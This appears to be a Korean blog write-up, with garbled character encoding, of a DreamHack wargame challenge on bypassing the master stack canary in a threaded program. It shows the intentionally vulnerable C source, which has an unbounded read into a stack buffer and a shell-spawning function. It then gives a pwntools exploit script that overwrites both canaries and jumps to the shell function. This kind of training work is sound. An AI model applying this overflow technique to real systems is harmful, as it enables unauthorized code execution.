๋ฌธ์ œ ์ฝ”๋“œ

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_bytes (char *buf, int len) {
  int idx = 0;
  int read_len = 0;

  for (idx = 0; idx < len; idx++) {
    int ret;
    ret = read(0, buf+idx, 1);
    if (ret < 0) {
      return read_len; 
    }
    read_len ++;
  }

  return read_len;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  //read(0, buf, size);
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

 

๋ฐ”๋กœ ์ด์ „์—์„œ ํ•™์Šตํ•œ ์ฝ”๋“œ์™€ ๊ฐ™์œผ๋ฏ€๋กœ ๊ฐ™์€ ๋ถ„์„ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•ด์„œ ์Šคํƒ ์˜ค๋ฒ„ ํ”Œ๋กœ์šฐ๋ฅผ ํ†ตํ•ด ์นด๋‚˜๋ฆฌ๋ฅผ ๋ฎ์–ด์“ธ ๊ฒƒ์ด๋‹ค.

https://dacoding.tistory.com/72

 

[DreamHack System Hacking] Master Canary - (1)

์‹ค์Šต ์˜ˆ์ œ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค. // Name: mc_thread.c // Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie #include #include #include #include void giveshell() { execve("/bin/sh", 0, 0); } void in..

dacoding.tistory.com

 

 

์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ

# Name: mc_thread.py
from pwn import *
#p = process("./mc_thread")
p = remote("host3.dreamhack.games", 19360)
elf = ELF('./mc_thread')
giveshell = elf.symbols['giveshell']
payload = b"A"*264
payload += b"A"*8 # canary
payload += b"B"*8
payload += p64(giveshell)
payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary
inp_sz = len(payload)
p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)
p.interactive()

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!